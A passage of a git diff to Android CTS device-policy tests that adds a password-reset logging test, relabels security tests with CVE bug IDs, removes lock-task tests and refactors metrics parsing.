+import com.android.bedstead.metricsrecorder.EnterpriseMetricsRecorder;
+
 public class ResetPasswordWithTokenTest extends BaseDeviceAdminTest {
 
     private static final String SHORT_PASSWORD = "1234";
@@ -40,14 +43,15 @@
     private static final byte[] TOKEN1 = "abcdefghijklmnopqrstuvwxyz012345678*".getBytes();
 
     private static final String ARG_ALLOW_FAILURE = "allowFailure";
+    private static final String ARG_LOGGING_TEST = "loggingTest";
 
     private boolean mShouldRun;
 
     @Override
     protected void setUp() throws Exception {
         super.setUp();
-        Boolean allowFailure = Boolean.parseBoolean(InstrumentationRegistry.getArguments()
-                .getString(ARG_ALLOW_FAILURE));
+        Boolean allowFailure = Boolean.parseBoolean(
+                InstrumentationRegistry.getArguments().getString(ARG_ALLOW_FAILURE));
         mShouldRun = setUpResetPasswordToken(allowFailure);
     }
 
@@ -572,6 +576,22 @@
         assertPasswordFails("123", caseDescription); // too short
     }
 
+    public void testResetPasswordWithTokenLogging() {
+        if (!mShouldRun) {
+            return;
+        }
+
+        try (EnterpriseMetricsRecorder metrics = EnterpriseMetricsRecorder.create()) {
+            mDevicePolicyManager.resetPasswordWithToken(ADMIN_RECEIVER_COMPONENT,
+                    SHORT_PASSWORD, TOKEN0, 0);
+
+            assertNotNull(metrics.query()
+                    .whereType().isEqualTo(EventId.RESET_PASSWORD_WITH_TOKEN_VALUE)
+                    .whereAdminPackageName().isEqualTo(PACKAGE_NAME)
+                    .poll());
+        }
+    }
+
     private boolean setUpResetPasswordToken(boolean acceptFailure) {
         // set up a token
         assertFalse(mDevicePolicyManager.isResetPasswordTokenActive(ADMIN_RECEIVER_COMPONENT));
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java
index 8644c09..6bc8a42 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java
@@ -38,6 +38,8 @@
 import android.util.DebugUtils;
 import android.util.Log;
 
+import com.android.compatibility.common.util.SystemUtil;
+
 import java.lang.reflect.InvocationTargetException;
 import java.lang.reflect.Method;
 import java.util.Collections;
@@ -230,8 +232,9 @@
     @SuppressWarnings("unused")
     private static void assertAllSystemAppsInstalled(Context context,
             DevicePolicyManager devicePolicyManager, ComponentName componentName,
-            Set<String> currentUserPackages) {
+            Set<String> preInstalledSystemPackages) {
         Log.d(TAG, "assertAllSystemAppsInstalled(): checking apps for user " + context.getUserId());
+
         PackageManager packageManager = context.getPackageManager();
         // First get a set of installed package names
         Set<String> installedPackageNames = packageManager
@@ -247,16 +250,14 @@
                 .filter(((Predicate<String>) installedPackageNames::contains).negate())
                 .collect(Collectors.toSet());
 
-        if (isHeadlessSystemUserMode()) {
-            // Finally, filter out packages that are not installed for users of type FULL
-            Iterator<String> iterator = uninstalledPackageNames.iterator();
-            while (iterator.hasNext()) {
-                String pkg = iterator.next();
-                if (!currentUserPackages.contains(pkg)) {
-                    Log.d(TAG, "assertAllSystemAppsInstalled(): ignoring package " + pkg
-                            + " as it's not installed on current user");
-                    iterator.remove();
-                }
+        // Finally, filter out packages that are not pre-installed for the user
+        Iterator<String> iterator = uninstalledPackageNames.iterator();
+        while (iterator.hasNext()) {
+            String pkg = iterator.next();
+            if (!preInstalledSystemPackages.contains(pkg)) {
+                Log.i(TAG, "assertAllSystemAppsInstalled(): ignoring package " + pkg
+                        + " as it's not pre-installed on current user");
+                iterator.remove();
             }
         }
 
@@ -265,30 +266,26 @@
     }
 
     public void testCreateAndManageUser_LeaveAllSystemApps() throws Exception {
-
-        Set<String> installedPackagesOnCurrentUser = null;
-        if (isHeadlessSystemUserMode()) {
-            // On headless system user mode some packages might not be installed due to the userType
-            // allowlist (which defines which packages are installed for users of type FULL or
-            // SYSTEM). As there is no API to get these packages, we need to query all packages
-            // installed for current user here, and pass it around in the bundle (as the receiver
-            // in the new user doesn't have INTERACT_ACROSS_USER to query).
-
-            int currentUserId = ActivityManager.getCurrentUser();
-            installedPackagesOnCurrentUser = mContext.getPackageManager()
-                    .getInstalledApplicationsAsUser(/* flags= */ 0, currentUserId)
-                    .stream()
-                    .map(applicationInfo -> applicationInfo.packageName)
-                    .collect(Collectors.toSet());
-            Log.d(TAG, "installed apps for current user (" + currentUserId + "): "
-                    + installedPackagesOnCurrentUser);
+        int currentUserId = ActivityManager.getCurrentUser();
+        // TODO: instead of hard-coding the user type, calling getPreInstallableSystemPackages(),
+        // and passing the packages to runCrossUserVerification() / assertAllSystemAppsInstalled(),
+        // ideally the later should call um.getPreInstallableSystemPackages(um.getUsertype())
+        // (where um is the UserManager with the context of the newly created user),
+        // but currently the list of pre-installed apps is passed to the new user in the bundle.
+        // Given that these tests will be refactored anyways, it's not worth to try to change it.
+        String newUserType = UserManager.USER_TYPE_FULL_SECONDARY;
+        Set<String> preInstalledSystemPackages = SystemUtil.callWithShellPermissionIdentity(
+                () -> UserManager.get(mContext).getPreInstallableSystemPackages(newUserType));
+        if (preInstalledSystemPackages != null) {
+            Log.d(TAG, preInstalledSystemPackages.size() + " pre-installed system apps for "
+                    + "new user of type " + newUserType + ": " + preInstalledSystemPackages);
         } else {
-            installedPackagesOnCurrentUser = Collections.emptySet();
+            Log.d(TAG, "no pre-installed system apps allowlist for new user of type" + newUserType);
         }
 
         runCrossUserVerification(/* callback= */ null,
                 DevicePolicyManager.LEAVE_ALL_SYSTEM_APPS_ENABLED, "assertAllSystemAppsInstalled",
-                installedPackagesOnCurrentUser);
+                preInstalledSystemPackages);
         PrimaryUserService.assertCrossUserCallArrived();
     }
 
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DeviceIdentifiersTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DeviceIdentifiersTest.java
index a5a0cc6..e9a3cb3 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DeviceIdentifiersTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DeviceIdentifiersTest.java
@@ -15,7 +15,7 @@
  */
 package com.android.cts.deviceowner;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import android.content.Context;
 import android.content.pm.PackageManager;
 import android.os.Build;
@@ -34,7 +34,7 @@
             "An unexpected value was received by the device owner with the READ_PHONE_STATE "
                     + "permission when invoking %s";
 
-    @SecurityTest(minPatchLevel = "2021-04")
+    @AsbSecurityTest(cveBugId = 173421434)
     public void testDeviceOwnerCanGetDeviceIdentifiersWithPermission() {
         // The device owner with the READ_PHONE_STATE permission should have access to all device
         // identifiers. However since the TelephonyManager methods can return null this method
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml b/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml
index c23d1e8..adb2ee0 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml
@@ -37,6 +37,7 @@
     <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS"/>
     <uses-permission android:name="android.permission.WRITE_SETTINGS"/>
     <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
+    <uses-permission android:name="android.permission.READ_PHONE_NUMBERS"/>
     <uses-permission android:name="android.permission.READ_CALENDAR"/>
     <uses-permission android:name="android.permission.WRITE_CALENDAR"/>
     <uses-permission android:name="android.permission.REQUEST_PASSWORD_COMPLEXITY"/>
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/DevicePolicyManagerParentSupportTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/DevicePolicyManagerParentSupportTest.java
index 7b7a818..c24d01c 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/DevicePolicyManagerParentSupportTest.java
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/DevicePolicyManagerParentSupportTest.java
@@ -1,8 +1,8 @@
 package com.android.cts.managedprofile;
 
 import static android.app.admin.DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS;
-import static android.app.admin.DevicePolicyManager.PASSWORD_COMPLEXITY_NONE;
 import static android.app.admin.DevicePolicyManager.PASSWORD_COMPLEXITY_HIGH;
+import static android.app.admin.DevicePolicyManager.PASSWORD_COMPLEXITY_NONE;
 import static android.app.admin.DevicePolicyManager.PASSWORD_QUALITY_NUMERIC_COMPLEX;
 import static android.app.admin.DevicePolicyManager.PASSWORD_QUALITY_UNSPECIFIED;
 
@@ -133,14 +133,14 @@
         mParentDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT, quality);
     }
 
-    public void testSettingPasswordQualityDoesNotAffectParent() {
+    public void testIsActivePasswordSufficient_onParent_respectsProfileQualityWhenUnified() {
         mDevicePolicyManager.setPasswordQuality(
                 ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_UNSPECIFIED);
         assertThat(mParentDevicePolicyManager.isActivePasswordSufficient()).isTrue();
         mDevicePolicyManager.setPasswordQuality(
                 ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_NUMERIC_COMPLEX);
         try {
-            assertThat(mParentDevicePolicyManager.isActivePasswordSufficient()).isTrue();
+            assertThat(mParentDevicePolicyManager.isActivePasswordSufficient()).isFalse();
         } finally {
             mDevicePolicyManager.setPasswordQuality(
                     ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_UNSPECIFIED);
diff --git a/hostsidetests/devicepolicy/app/SeparateProfileChallenge/src/com/android/cts/separateprofilechallenge/SeparateProfileChallengePermissionsTest.java b/hostsidetests/devicepolicy/app/SeparateProfileChallenge/src/com/android/cts/separateprofilechallenge/SeparateProfileChallengePermissionsTest.java
index 1b0378b..e1ce7d6 100644
--- a/hostsidetests/devicepolicy/app/SeparateProfileChallenge/src/com/android/cts/separateprofilechallenge/SeparateProfileChallengePermissionsTest.java
+++ b/hostsidetests/devicepolicy/app/SeparateProfileChallenge/src/com/android/cts/separateprofilechallenge/SeparateProfileChallengePermissionsTest.java
@@ -18,7 +18,7 @@
 
 import android.app.admin.DevicePolicyManager;
 import android.content.Context;
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import android.test.AndroidTestCase;
 
 import androidx.test.runner.AndroidJUnitRunner;
diff --git a/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/CustomSerializable.java b/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/CustomSerializable.java
new file mode 100644
index 0000000..40573b9
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/CustomSerializable.java
@@ -0,0 +1,26 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.launcherapps.simpleapp;
+
+import java.io.Serializable;
+
+public final class CustomSerializable implements Serializable {
+    private static final long serialVersionUID = 42L;
+    public CustomSerializable() {
+        super();
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleService.java b/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleService.java
index 7c7f94b..644f824 100644
--- a/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleService.java
+++ b/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleService.java
@@ -19,10 +19,10 @@
 import android.app.Notification;
 import android.app.NotificationChannel;
 import android.app.NotificationManager;
-import android.app.PendingIntent;
 import android.app.Service;
 import android.content.Intent;
 import android.os.Binder;
+import android.os.Bundle;
 import android.os.IBinder;
 import android.os.Parcel;
 import android.os.Process;
@@ -36,6 +36,7 @@
     static final String ACTION_STOP_FOREGROUND = "com.android.test.action.STOP_FOREGROUND";
 
     static final String CHANNEL_NAME = "SimpleService";
+    private static String NOTIF_EXTRAS_KEY = "NotifExtras";
 
     final Binder mBinder = new Binder() {
         @Override
@@ -66,11 +67,16 @@
                 nm.createNotificationChannel(new NotificationChannel(CHANNEL_NAME, CHANNEL_NAME,
                         NotificationManager.IMPORTANCE_DEFAULT));
             }
+            Bundle extras = new Bundle();
+            if (intent.getBooleanExtra(NOTIF_EXTRAS_KEY, false)) {
+                extras.putSerializable("android.substName", new CustomSerializable());
+            }
             Notification notification = new Notification.Builder(this, CHANNEL_NAME)
                     .setSmallIcon(android.R.drawable.ic_popup_reminder)  // the status icon
                     .setWhen(System.currentTimeMillis())  // the time stamp
                     .setContentTitle("This is a test notification")  // the label
                     .setContentText("This is a test notification")  // the contents of the entry
+                    .setExtras(extras)
                     .build();
             startForeground(100, notification);
         } else if (ACTION_STOP_FOREGROUND.equals(intent.getAction())) {
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
index 1398e0a..fa044ad 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
@@ -158,6 +158,7 @@
             ASSIST_APP_PKG + "/.MyInteractionService";
 
     private static final String ARG_ALLOW_FAILURE = "allowFailure";
+    private static final String ARG_LOGGING_TEST = "loggingTest";
 
     private static final String RESTRICT_BACKGROUND_GET_CMD =
         "cmd netpolicy get restrict-background";
@@ -184,7 +185,7 @@
     private static final int PERMISSION_GRANT_STATE_GRANTED = 1;
     private static final int PERMISSION_GRANT_STATE_DENIED = 2;
     private static final String PARAM_APP_TO_ENABLE = "app_to_enable";
-    public static final String RESOLVE_ACTIVITY_CMD = "cmd package resolve-activity --brief %s | tail -n 1";
+    public static final String RESOLVE_ACTIVITY_CMD = "cmd package resolve-activity --brief --user %d %s | tail -n 1";
 
     private static final String NOT_CALLED_FROM_PARENT = "notCalledFromParent";
 
@@ -1041,107 +1042,6 @@
                     .build());
     }
 
-    @FlakyTest(bugId = 132226089)
-    @Ignore("Ignored while migrating to new infrastructure b/175377361")
-    @Test
-    public void testLockTask() throws Exception {
-        try {
-            installAppAsUser(INTENT_RECEIVER_APK, mUserId);
-            executeDeviceTestClass(".LockTaskTest");
-        } catch (AssertionError ex) {
-            // STOPSHIP(b/32771855), remove this once we fixed the bug.
-            executeShellCommand("dumpsys activity activities");
-            executeShellCommand("dumpsys window -a");
-            executeShellCommand("dumpsys activity service com.android.systemui");
-            throw ex;
-        } finally {
-            getDevice().uninstallPackage(INTENT_RECEIVER_PKG);
-        }
-    }
-
-    @LargeTest
-    @Test
-    public void testLockTaskAfterReboot() throws Exception {
-        try {
-            // Just start kiosk mode
-            executeDeviceTestMethod(
-                    ".LockTaskHostDrivenTest", "testStartLockTask_noAsserts");
-
-            // Reboot while in kiosk mode and then unlock the device
-            rebootAndWaitUntilReady();
-
-            // Check that kiosk mode is working and can't be interrupted
-            executeDeviceTestMethod(".LockTaskHostDrivenTest",
-                    "testLockTaskIsActiveAndCantBeInterrupted");
-        } finally {
-            executeDeviceTestMethod(".LockTaskHostDrivenTest", "testCleanupLockTask_noAsserts");
-        }
-    }
-
-    @LargeTest
-    @Test
-    @Ignore("Ignored while migrating to new infrastructure b/175377361")
-    public void testLockTaskAfterReboot_tryOpeningSettings() throws Exception {
-        try {
-            // Just start kiosk mode
-            executeDeviceTestMethod(
-                    ".LockTaskHostDrivenTest", "testStartLockTask_noAsserts");
-
-            // Reboot while in kiosk mode and then unlock the device
-            rebootAndWaitUntilReady();
-
-            // Wait for the LockTask starting
-            waitForBroadcastIdle();
-
-            // Make sure that the LockTaskUtilityActivityIfWhitelisted was started.
-            executeDeviceTestMethod(".LockTaskHostDrivenTest", "testLockTaskIsActive");
-
-            // Try to open settings via adb
-            executeShellCommand("am start -a android.settings.SETTINGS");
-
-            // Check again
-            executeDeviceTestMethod(".LockTaskHostDrivenTest",
-                    "testLockTaskIsActiveAndCantBeInterrupted");
-        } finally {
-            executeDeviceTestMethod(".LockTaskHostDrivenTest", "testCleanupLockTask_noAsserts");
-        }
-    }
-
-    @Test
-    @Ignore("Ignored while migrating to new infrastructure b/175377361")
-    public void testLockTask_defaultDialer() throws Exception {
-        assumeHasTelephonyAndConnectionServiceFeatures();
-
-        try {
-            executeDeviceTestMethod(".LockTaskHostDrivenTest",
-                    "testLockTaskCanLaunchDefaultDialer");
-        } finally {
-            executeDeviceTestMethod(".LockTaskHostDrivenTest", "testCleanupLockTask_noAsserts");
-        }
-    }
-
-    @Test
-    public void testLockTask_emergencyDialer() throws Exception {
-        assumeHasTelephonyFeature();
-
-        try {
-            executeDeviceTestMethod(".LockTaskHostDrivenTest",
-                    "testLockTaskCanLaunchEmergencyDialer");
-        } finally {
-            executeDeviceTestMethod(".LockTaskHostDrivenTest", "testCleanupLockTask_noAsserts");
-        }
-    }
-
-    @Test
-    public void testLockTask_exitIfNoLongerAllowed() throws Exception {
-        try {
-            executeDeviceTestMethod(".LockTaskHostDrivenTest",
-                    "testLockTaskIsExitedIfNotAllowed");
-        } finally {
-            executeDeviceTestMethod(".LockTaskHostDrivenTest", "testCleanupLockTask_noAsserts");
-        }
-    }
-
     @FlakyTest(bugId = 141314026)
     @Test
     public void testSuspendPackage() throws Exception {
@@ -1284,17 +1184,7 @@
         // This is the default test for MixedDeviceOwnerTest and MixedProfileOwnerTest,
         // MixedManagedProfileOwnerTest overrides this method to execute the same test more strictly
         // without allowing failures.
-        executeResetPasswordWithTokenTests(true);
-    }
-
-    @Test
-    public void testResetPasswordWithTokenLogged() throws Exception {
-        assertMetricsLogged(getDevice(), () -> {
-            runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".ResetPasswordWithTokenTest",
-                    "testChangePasswordWithToken", mUserId);
-        }, new DevicePolicyEventWrapper.Builder(EventId.RESET_PASSWORD_WITH_TOKEN_VALUE)
-                    .setAdminPackageName(DEVICE_ADMIN_PKG)
-                    .build());
+        executeResetPasswordWithTokenTests(/* allowFailures */ true);
     }
 
     @Test
@@ -1381,9 +1271,10 @@
         executeDeviceTestClass(".SetSystemSettingTest");
     }
 
-    protected void executeResetPasswordWithTokenTests(Boolean allowFailures) throws Exception {
+    protected void executeResetPasswordWithTokenTests(boolean allowFailures)
+            throws Exception {
         runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".ResetPasswordWithTokenTest", null, mUserId,
-                Collections.singletonMap(ARG_ALLOW_FAILURE, Boolean.toString(allowFailures)));
+                Collections.singletonMap(ARG_ALLOW_FAILURE, String.valueOf(allowFailures)));
     }
 
     @Test
@@ -1832,7 +1723,7 @@
         final List<String> enabledSystemPackageNames = getEnabledSystemPackageNames();
         for (String enabledSystemPackage : enabledSystemPackageNames) {
             final String result = getDevice().executeShellCommand(
-                    String.format(RESOLVE_ACTIVITY_CMD, enabledSystemPackage));
+                    String.format(RESOLVE_ACTIVITY_CMD, mUserId, enabledSystemPackage));
             if (!result.contains("No activity found")) {
                 return enabledSystemPackage;
             }
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
index b2e3bd8..fb4b6ff 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
@@ -27,7 +27,7 @@
 
 import android.platform.test.annotations.FlakyTest;
 import android.platform.test.annotations.LargeTest;
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import android.stats.devicepolicy.EventId;
 
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
@@ -634,7 +634,7 @@
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2021-04")
+    @AsbSecurityTest(cveBugId = 173421434)
     public void testDeviceOwnerCanGetDeviceIdentifiers() throws Exception {
         // The Device Owner should have access to all device identifiers.
 
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java
index 84d364a..e171216 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java
@@ -106,18 +106,6 @@
                 userId);
     }
 
-    @FlakyTest(bugId = 127270520)
-    @Ignore("Ignored while migrating to new infrastructure b/175377361")
-    @Test
-    public void testLockTask_affiliatedSecondaryUser() throws Exception {
-        assumeCanCreateAdditionalUsers(1);
-
-        final int userId = createSecondaryUserAsProfileOwner();
-        switchToUser(userId);
-        setUserAsAffiliatedUserToPrimary(userId);
-        runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".LockTaskTest", userId);
-    }
-
     @Test
     public void testDelegatedCertInstallerDeviceIdAttestation() throws Exception {
         setUpDelegatedCertInstallerAndRunTests(() ->
@@ -524,13 +512,6 @@
 
     @Override
     @Test
-    @IgnoreOnHeadlessSystemUserMode(reason = "Headless system user doesn't have credentials")
-    public void testResetPasswordWithTokenLogged() throws Exception {
-        super.testResetPasswordWithTokenLogged();
-    }
-
-    @Override
-    @Test
     @IgnoreOnHeadlessSystemUserMode(reason = "Headless system user doesn't launch activities")
     public void testCreateAdminSupportIntent() throws Exception {
         super.testCreateAdminSupportIntent();
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTest.java
index bb1a66b..99e2f2e 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTest.java
@@ -211,7 +211,7 @@
         // Execute the test method that's guaranteed to succeed. See also test in base class
         // which are tolerant to failure and executed by MixedDeviceOwnerTest and
         // MixedProfileOwnerTest
-        executeResetPasswordWithTokenTests(false);
+        executeResetPasswordWithTokenTests(/* allowFailures */ false);
     }
 
     @Override
@@ -364,42 +364,6 @@
         super.testPermissionGrantOfDisallowedPermissionWhileOtherPermIsGranted();
     }
 
-    @Override
-    @Test
-    public void testLockTask() {
-        // Managed profiles are not allowed to use lock task
-    }
-
-    @Override
-    @Test
-    public void testLockTaskAfterReboot() {
-        // Managed profiles are not allowed to use lock task
-    }
-
-    @Override
-    @Test
-    public void testLockTaskAfterReboot_tryOpeningSettings() {
-        // Managed profiles are not allowed to use lock task
-    }
-
-    @Override
-    @Test
-    public void testLockTask_defaultDialer() {
-        // Managed profiles are not allowed to use lock task
-    }
-
-    @Override
-    @Test
-    public void testLockTask_emergencyDialer() {
-        // Managed profiles are not allowed to use lock task
-    }
-
-    @Override
-    @Test
-    public void testLockTask_exitIfNoLongerAllowed() {
-        // Managed profiles are not allowed to use lock task
-    }
-
     @Test
     public void testWifiMacAddress() throws Exception {
         assumeHasWifiFeature();
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedProfileOwnerTest.java
index dc57601..0a13ccb 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedProfileOwnerTest.java
@@ -86,30 +86,6 @@
     }
 
     @Override
-    @FlakyTest(bugId = 140932104)
-    @Ignore("Ignored while migrating to new infrastructure b/175377361")
-    @Test
-    public void testLockTaskAfterReboot() throws Exception {
-        super.testLockTaskAfterReboot();
-    }
-
-    @Override
-    @FlakyTest(bugId = 140932104)
-    @Ignore("Ignored while migrating to new infrastructure b/175377361")
-    @Test
-    public void testLockTaskAfterReboot_tryOpeningSettings() throws Exception {
-        super.testLockTaskAfterReboot_tryOpeningSettings();
-    }
-
-    @Override
-    @FlakyTest(bugId = 140932104)
-    @Ignore("Ignored while migrating to new infrastructure b/175377361")
-    @Test
-    public void testLockTask_exitIfNoLongerAllowed() throws Exception {
-        super.testLockTask_exitIfNoLongerAllowed();
-    }
-
-    @Override
     @Test
     public void testSetAutoTimeZoneEnabled() {
         // Profile owner cannot set auto time zone unless it is called by the profile
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/SeparateProfileChallengeTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/SeparateProfileChallengeTest.java
index ac20ace..18e8ed9 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/SeparateProfileChallengeTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/SeparateProfileChallengeTest.java
@@ -18,7 +18,7 @@
 
 import static com.android.cts.devicepolicy.DeviceAdminFeaturesCheckerRule.FEATURE_MANAGED_USERS;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 
 import com.android.cts.devicepolicy.DeviceAdminFeaturesCheckerRule.RequiresAdditionalFeatures;
 
@@ -52,8 +52,8 @@
         super.tearDown();
     }
 
-    @SecurityTest
     @Test
+    @AsbSecurityTest(cveBugId = 128599668)
     public void testSeparateProfileChallengePermissions() throws Exception {
         assumeCanCreateOneManagedUser();
 
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/Android.bp b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/Android.bp
index 7700140..dcafa40 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/Android.bp
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/Android.bp
@@ -24,4 +24,7 @@
     libs: [
         "tradefed",
     ],
+    static_libs: [
+        "cts-statsd-atom-host-test-utils",
+    ],
 }
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/AtomMetricTester.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/AtomMetricTester.java
index 5ab3ddb0..68e4934 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/AtomMetricTester.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/AtomMetricTester.java
@@ -15,7 +15,7 @@
  */
 package com.android.cts.devicepolicy.metrics;
 
-import static junit.framework.Assert.assertTrue;
+import android.cts.statsdatom.lib.ReportUtils;
 
 import com.android.internal.os.StatsdConfigProto.AtomMatcher;
 import com.android.internal.os.StatsdConfigProto.EventMetric;
@@ -23,24 +23,22 @@
 import com.android.internal.os.StatsdConfigProto.SimpleAtomMatcher;
 import com.android.internal.os.StatsdConfigProto.StatsdConfig;
 import com.android.os.AtomsProto.Atom;
-import com.android.os.StatsLog.ConfigMetricsReport;
 import com.android.os.StatsLog.ConfigMetricsReportList;
 import com.android.os.StatsLog.EventMetricData;
-import com.android.os.StatsLog.StatsLogReport;
 import com.android.tradefed.device.CollectingByteOutputReceiver;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.log.LogUtil.CLog;
+
 import com.google.common.io.Files;
 import com.google.protobuf.InvalidProtocolBufferException;
 import com.google.protobuf.MessageLite;
 import com.google.protobuf.Parser;
+
 import java.io.File;
 import java.util.ArrayList;
-import java.util.Comparator;
 import java.util.List;
 import java.util.function.Predicate;
-import java.util.stream.Collectors;
 
 /**
  * Tests Statsd atoms.
@@ -103,26 +101,7 @@
      */
     List<EventMetricData> getEventMetricDataList() throws Exception {
         ConfigMetricsReportList reportList = getReportList();
-        return getEventMetricDataList(reportList);
-    }
-
-    /**
-     * Extracts and sorts the EventMetricData from the given ConfigMetricsReportList (which must
-     * contain a single report).
-     */
-    private List<EventMetricData> getEventMetricDataList(ConfigMetricsReportList reportList)
-            throws Exception {
-        assertTrue("Expected one report", reportList.getReportsCount() == 1);
-        final ConfigMetricsReport report = reportList.getReports(0);
-        final List<StatsLogReport> metricsList = report.getMetricsList();
-        return metricsList.stream()
-                .flatMap(statsLogReport -> statsLogReport.getEventMetrics().getDataList().stream())
-                .sorted(Comparator.comparing(EventMetricData::getElapsedTimestampNanos))
-                .peek(eventMetricData -> {
-                    CLog.d("Atom at " + eventMetricData.getElapsedTimestampNanos()
-                            + ":\n" + eventMetricData.getAtom().toString());
-                })
-                .collect(Collectors.toList());
+        return ReportUtils.getEventMetricDataList(reportList);
     }
 
     /** Gets the statsd report. Note that this also deletes that report from statsd. */
diff --git a/hostsidetests/dexmetadata/host/res/CtsDexMetadataSplitApp-S.dm b/hostsidetests/dexmetadata/host/res/CtsDexMetadataSplitApp-S.dm
new file mode 100644
